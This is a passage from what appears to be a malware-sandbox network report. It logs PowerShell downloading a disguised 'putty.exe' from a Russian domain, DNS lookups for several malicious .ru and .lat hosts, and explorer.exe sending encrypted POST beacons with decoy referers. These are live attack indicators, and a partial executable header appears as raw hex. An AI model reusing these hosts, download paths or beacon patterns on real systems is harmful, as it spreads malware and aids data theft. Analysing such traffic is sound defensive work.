Dec 19, 2024 07:54:26.635406971 CET	80	49838	94.156.177.51	192.168.2.8
Dec 19, 2024 07:54:26.635541916 CET	49825	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:54:26.635545969 CET	49838	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:54:26.635723114 CET	49838	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:54:26.635741949 CET	49838	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:54:26.755326986 CET	80	49838	94.156.177.51	192.168.2.8
Dec 19, 2024 07:54:26.755578041 CET	80	49838	94.156.177.51	192.168.2.8
Dec 19, 2024 07:54:27.998553991 CET	80	49838	94.156.177.51	192.168.2.8
Dec 19, 2024 07:54:28.001763105 CET	49826	80	192.168.2.8	109.70.26.37
Dec 19, 2024 07:54:28.002440929 CET	49843	80	192.168.2.8	109.70.26.37
Dec 19, 2024 07:54:28.083024979 CET	49838	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:54:28.121673107 CET	80	49826	109.70.26.37	192.168.2.8
Dec 19, 2024 07:54:28.121726990 CET	49826	80	192.168.2.8	109.70.26.37
Dec 19, 2024 07:54:28.121921062 CET	80	49843	109.70.26.37	192.168.2.8
Dec 19, 2024 07:54:28.122144938 CET	49843	80	192.168.2.8	109.70.26.37
Dec 19, 2024 07:54:28.122318029 CET	49843	80	192.168.2.8	109.70.26.37
Dec 19, 2024 07:54:28.122318029 CET	49843	80	192.168.2.8	109.70.26.37
Dec 19, 2024 07:54:28.241815090 CET	80	49843	109.70.26.37	192.168.2.8
Dec 19, 2024 07:54:28.241847992 CET	80	49843	109.70.26.37	192.168.2.8
Dec 19, 2024 07:54:29.461914062 CET	80	49843	109.70.26.37	192.168.2.8
Dec 19, 2024 07:54:29.692497015 CET	49843	80	192.168.2.8	109.70.26.37

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 07:52:22.568146944 CET	52577	53	192.168.2.8	1.1.1.1
Dec 19, 2024 07:52:22.707828045 CET	53	52577	1.1.1.1	192.168.2.8
Dec 19, 2024 07:52:49.121526957 CET	50279	53	192.168.2.8	1.1.1.1
Dec 19, 2024 07:52:49.261387110 CET	53	50279	1.1.1.1	192.168.2.8
Dec 19, 2024 07:52:50.774158001 CET	50120	53	192.168.2.8	1.1.1.1
Dec 19, 2024 07:52:50.938545942 CET	53	50120	1.1.1.1	192.168.2.8
Dec 19, 2024 07:52:52.589659929 CET	62292	53	192.168.2.8	1.1.1.1
Dec 19, 2024 07:52:52.729084015 CET	53	62292	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 07:52:22.568146944 CET	192.168.2.8	1.1.1.1	0xf89a	Standard query (0)	spotcarservice.ru	A (IP address)	IN (0x0001)	false
Dec 19, 2024 07:52:49.121526957 CET	192.168.2.8	1.1.1.1	0xfc09	Standard query (0)	constractionscity1991.lat	A (IP address)	IN (0x0001)	false
Dec 19, 2024 07:52:50.774158001 CET	192.168.2.8	1.1.1.1	0x9765	Standard query (0)	restructurisationservice.ru	A (IP address)	IN (0x0001)	false
Dec 19, 2024 07:52:52.589659929 CET	192.168.2.8	1.1.1.1	0x50bd	Standard query (0)	connecticutproperty.ru	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 07:52:22.707828045 CET	1.1.1.1	192.168.2.8	0xf89a	No error (0)	spotcarservice.ru	94.156.177.51	A (IP address)	IN (0x0001)	false
Dec 19, 2024 07:52:49.261387110 CET	1.1.1.1	192.168.2.8	0xfc09	No error (0)	constractionscity1991.lat	94.156.177.51	A (IP address)	IN (0x0001)	false
Dec 19, 2024 07:52:50.938545942 CET	1.1.1.1	192.168.2.8	0x9765	No error (0)	restructurisationservice.ru	94.156.177.51	A (IP address)	IN (0x0001)	false
Dec 19, 2024 07:52:52.729084015 CET	1.1.1.1	192.168.2.8	0x50bd	No error (0)	connecticutproperty.ru	109.70.26.37	A (IP address)	IN (0x0001)	false
Dec 19, 2024 07:52:52.729084015 CET	1.1.1.1	192.168.2.8	0x50bd	No error (0)	connecticutproperty.ru	194.85.61.76	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

spotcarservice.ru

eatxyeykjsmocbq.com

constractionscity1991.lat

vqoifgeqmslm.com

restructurisationservice.ru

cpgkhdyexjobuel.net

connecticutproperty.ru

kssjunoucpo.net

dgibnmnukcth.com

lygvohbryeni.com

hpkihdgfpdwnih.org

yitqmxmwjwycdun.org

yfnvfnqkorbos.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	94.156.177.51	80	6012	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 07:52:22.836143970 CET	94	OUT	GET /fdjskf88cvt/yumba/putty.exe HTTP/1.1 Host: spotcarservice.ru Connection: Keep-Alive
Dec 19, 2024 07:52:24.202955961 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 06:52:23 GMT Content-Type: application/x-msdos-program Content-Length: 295424 Connection: keep-alive Last-Modified: Thu, 19 Dec 2024 06:52:23 GMT ETag: W/"48200-62999fe73c900" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 93 cf c2 6a d7 ae ac 39 d7 ae ac 39 d7 ae ac 39 c9 fc 39 39 cd ae ac 39 c9 fc 2f 39 51 ae ac 39 c9 fc 28 39 fd ae ac 39 f0 68 d7 39 d4 ae ac 39 d7 ae ad 39 ac ae ac 39 c9 fc 26 39 d6 ae ac 39 c9 fc 38 39 d6 ae ac 39 c9 fc 3d 39 d6 ae ac 39 52 69 63 68 d7 ae ac 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 77 c4 9b 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 e4 03 00 00 04 01 00 00 00 00 00 a2 49 00 00 00 10 00 00 00 00 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 f0 04 00 00 04 00 00 ba f9 04 00 02 00 00 81 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$j999999/9Q9(99h9999&99899=99Rich9PELwdI@((9P.@.text `.data`@.rsrc9:H@@
Dec 19, 2024 07:52:24.202984095 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 dc eb 03 00 f0 eb 03 00 08 ec 03 00 20 ec 03 00 34 ec 03 00 52 ec 03 00 68 ec 03 00 7c ec 03 00 96 Data Ascii: 4Rh\| <Pjz2@N^r$BVbn
Dec 19, 2024 07:52:24.202996969 CET	1236	IN	Data Raw: 6f 6e 20 68 61 73 20 6d 61 64 65 20 61 6e 20 61 74 74 65 6d 70 74 20 74 6f 20 6c 6f 61 64 20 74 68 65 20 43 20 72 75 6e 74 69 6d 65 20 6c 69 62 72 61 72 79 20 69 6e 63 6f 72 72 65 63 74 6c 79 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 Data Ascii: on has made an attempt to load the C runtime library incorrectly.Please contact the application's support team for more information.R6033- Attempt to use MSIL code from this assembly during native code initializationThis indicates
Dec 19, 2024 07:52:24.203110933 CET	1236	IN	Data Raw: 00 52 36 30 30 32 0d 0a 2d 20 66 6c 6f 61 74 69 6e 67 20 70 6f 69 6e 74 20 73 75 70 70 6f 72 74 20 6e 6f 74 20 6c 6f 61 64 65 64 0d 0a 00 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 56 69 73 75 61 6c 20 43 2b 2b 20 52 75 6e 74 69 6d 65 20 4c 69 62 72 Data Ascii: R6002- floating point support not loadedMicrosoft Visual C++ Runtime Library...<program name unknown>Runtime Error!Program:
Dec 19, 2024 07:52:24.203123093 CET	896	IN	Data Raw: 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 00 60 6d 61 6e 61 67 65 64 20 76 65 63 74 6f 72 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 60 70 6c 61 63 65 6d 65 6e 74 20 64 65 6c 65 74 65 5b 5d 20 63 6c 6f 73 75 Data Ascii: tor iterator'`managed vector constructor iterator'`placement delete[] closure'`placement delete closure'`omni callsig' delete[] new[]`local vftable constructor closure'`local vftable'`RTTI`EH`udt returning'`copy cons
Dec 19, 2024 07:52:24.203674078 CET	1236	IN	Data Raw: 74 72 36 34 00 5f 5f 63 6c 72 63 61 6c 6c 00 00 00 5f 5f 66 61 73 74 63 61 6c 6c 00 00 5f 5f 74 68 69 73 63 61 6c 6c 00 00 5f 5f 73 74 64 63 61 6c 6c 00 00 00 5f 5f 70 61 73 63 61 6c 00 00 00 00 5f 5f 63 64 65 63 6c 00 5f 5f 62 61 73 65 64 28 00 Data Ascii: tr64__clrcall__fastcall__thiscall__stdcall__pascal__cdecl__based("@"@"@!@!@!@!@!@!@!@@@@@@@!@!@@!@!@!@!@!@!@\|!@x!@t!@p!@l!@h!@d!@`!@\!@X!@T!@P!@L!@H!@D!
Dec 19, 2024 07:52:24.203685999 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: h((((
Dec 19, 2024 07:52:24.203697920 CET	1236	IN	Data Raw: 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c Data Ascii: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{\|}~
Dec 19, 2024 07:52:24.203809023 CET	1236	IN	Data Raw: 00 07 9f 00 00 20 cb 00 00 14 ee 00 00 90 e3 03 00 b8 e3 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec 56 8b f1 c7 06 44 2e 40 00 e8 98 0b 00 00 f6 45 08 01 74 09 56 e8 4a 11 00 00 83 c4 04 8b c6 5e 5d c2 04 00 cc cc Data Ascii: UVD.@EtVJ^]lfJDmf>Dgf@D3dlfHDfNDfLD.2mfFDfDDf8Di3sh8Df<DfBDf:D(@
Dec 19, 2024 07:52:24.203821898 CET	1236	IN	Data Raw: 00 8d 64 24 00 8b 15 70 9b 44 00 8a 84 32 4b 13 01 00 8b 0d c4 87 44 00 88 04 31 a1 34 8d 44 00 3d 90 04 00 00 75 1f 6a 00 ff 15 08 10 40 00 6a 00 ff d7 8d 55 f0 52 6a 00 8d 45 d8 50 6a 00 ff d3 a1 34 8d 44 00 46 3b f0 72 ba 33 ff 8b 3d 94 10 40 Data Ascii: d$pD2KD14D=uj@jURjEPj4DF;r3=@30u0jRjjjjjjEP@MQ@4DF\|5Dv9 @I4D=Yujjjjjp@V\u=@33,}
Dec 19, 2024 07:52:24.322731018 CET	1236	IN	Data Raw: c8 b0 ac e5 3b b8 41 0c 7f 5f f7 65 e0 8b 45 e0 81 45 ec 72 05 d3 33 81 6d 80 04 80 9e 78 81 6d c0 bd 75 57 5a 81 45 f0 7b fd 65 23 81 45 a8 95 91 b9 13 81 45 c0 41 19 58 4b 81 45 d8 ff d1 d0 41 b8 a6 16 da 01 f7 65 d0 8b 45 d0 81 45 94 6a ef 04 Data Ascii: ;A_eEEr3mxmuWZE{e#EEAXKEAeEEj03=bf@=2{\|\>DVW4D5L@7=4DutQju_3^]~rFP(3FFfN\|pDpDL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49711	94.156.177.51	80	4084	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 07:52:49.390074968 CET	285	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://eatxyeykjsmocbq.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 349 Host: constractionscity1991.lat
Dec 19, 2024 07:52:49.390074968 CET	349	OUT	Data Raw: a1 5f 7d 55 8e 47 51 ca c1 4c ae bf fc b0 2a 4b 57 32 b0 59 61 c0 36 2b d9 52 b8 18 76 88 05 54 c8 54 ac fc 4d aa 73 42 2a bd cd 0d af 49 12 32 a2 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be e5 0a 3a ce Data Ascii: _}UGQLKW2Ya6+RvTTMsBI2x]2m-^JrC):.!pj.&P)dW'IOM+GHe)/V2}G}mf k~~f%=[n%x<E#s9?pMg\|,SJdtj6U
Dec 19, 2024 07:52:50.769890070 CET	595	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 06:52:50 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49712	94.156.177.51	80	4084	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 07:52:51.061706066 CET	284	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vqoifgeqmslm.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 163 Host: restructurisationservice.ru
Dec 19, 2024 07:52:51.061706066 CET	163	OUT	Data Raw: a1 5f 7d 55 8e 47 51 ca c1 4c ae bf fc b0 2a 4b 57 32 b0 59 61 c0 36 2b d9 52 b8 18 76 88 05 54 c8 54 ac fc 4d aa 73 42 2a bd cd 0d af 49 12 32 a2 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 8e 12 21 8a Data Ascii: _}UGQLKW2Ya6+RvTTMsBI2x]2m-^JrC)!Q"4aI$#$2D_F:,Y$Wc=i2P5yB5Io
Dec 19, 2024 07:52:52.585639000 CET	597	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 06:52:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49713	109.70.26.37	80	4084	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 07:52:52.849927902 CET	282	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://cpgkhdyexjobuel.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 164 Host: connecticutproperty.ru
Dec 19, 2024 07:52:52.849965096 CET	164	OUT	Data Raw: a1 5f 7d 55 8e 47 51 ca c1 4c ae bf fc b0 2a 4b 57 32 b0 59 61 c0 36 2b d9 52 b8 18 76 88 05 54 c8 54 ac fc 4d aa 73 42 2a bd cd 0d af 49 12 32 a2 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be bd 51 66 84 Data Ascii: _}UGQLKW2Ya6+RvTTMsBI2x]2m-^JrC)QfWtE1Cp1Wp=PoKp;xQKhz2d(cFz-3mp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49819	94.156.177.51	80	4084	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 07:54:20.107023001 CET	281	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kssjunoucpo.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 225 Host: constractionscity1991.lat
Dec 19, 2024 07:54:20.107040882 CET	225	OUT	Data Raw: a1 5f 7d 55 8e 47 51 ca c1 4c ae bf fc b0 2a 4b 57 32 b0 59 61 c0 36 2b d9 52 b8 18 76 88 05 54 c8 54 ac fc 4d aa 73 42 2a bd cd 0d af 49 12 32 a2 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 91 5c 31 dd Data Ascii: _}UGQLKW2Ya6+RvTTMsBI2x]2m-^JrC)\18M'Mmnc/;Ax3<:a%.\;[Mz[kkI!@kl~ub3bt~>t'A;K`UINi'\|x
Dec 19, 2024 07:54:21.486141920 CET	595	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 06:54:21 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49825	94.156.177.51	80	4084	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 07:54:21.611717939 CET	284	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dgibnmnukcth.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 305 Host: restructurisationservice.ru
Dec 19, 2024 07:54:21.611737013 CET	305	OUT	Data Raw: a1 5f 7d 55 8e 47 51 ca c1 4c ae bf fc b0 2a 4b 57 32 b0 59 61 c0 36 2b d9 52 b8 18 76 88 05 54 c8 54 ac fc 4d aa 73 42 2a bd cd 0d af 49 12 32 a2 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be a1 2f 54 b0 Data Ascii: _}UGQLKW2Ya6+RvTTMsBI2x]2m-^JrC)/TAEenlFdO1$'N5*ThD~VH<3QNR)?UHfM]&6`TW!B2?]KyVt.6YV>p=hMCKNq
Dec 19, 2024 07:54:22.981556892 CET	597	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 06:54:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49826	109.70.26.37	80	4084	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 07:54:23.305304050 CET	279	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lygvohbryeni.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 361 Host: connecticutproperty.ru
Dec 19, 2024 07:54:23.305330038 CET	361	OUT	Data Raw: a1 5f 7d 55 8e 47 51 ca c1 4c ae bf fc b0 2a 4b 57 32 b0 59 61 c0 36 2b d9 52 b8 18 76 88 05 54 c8 54 ac fc 4d aa 73 42 2a bd cd 0d af 49 12 32 a2 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be eb 31 21 8e Data Ascii: _}UGQLKW2Ya6+RvTTMsBI2x]2m-^JrC)1! P@RSyQG5hELY3<L(,4pzPVk'w"{FNUJ;.m#d-vM~WKr?2\|L.{\#.Hx'y3'^t%:R
Dec 19, 2024 07:54:24.645281076 CET	300	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Thu, 19 Dec 2024 06:54:24 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not 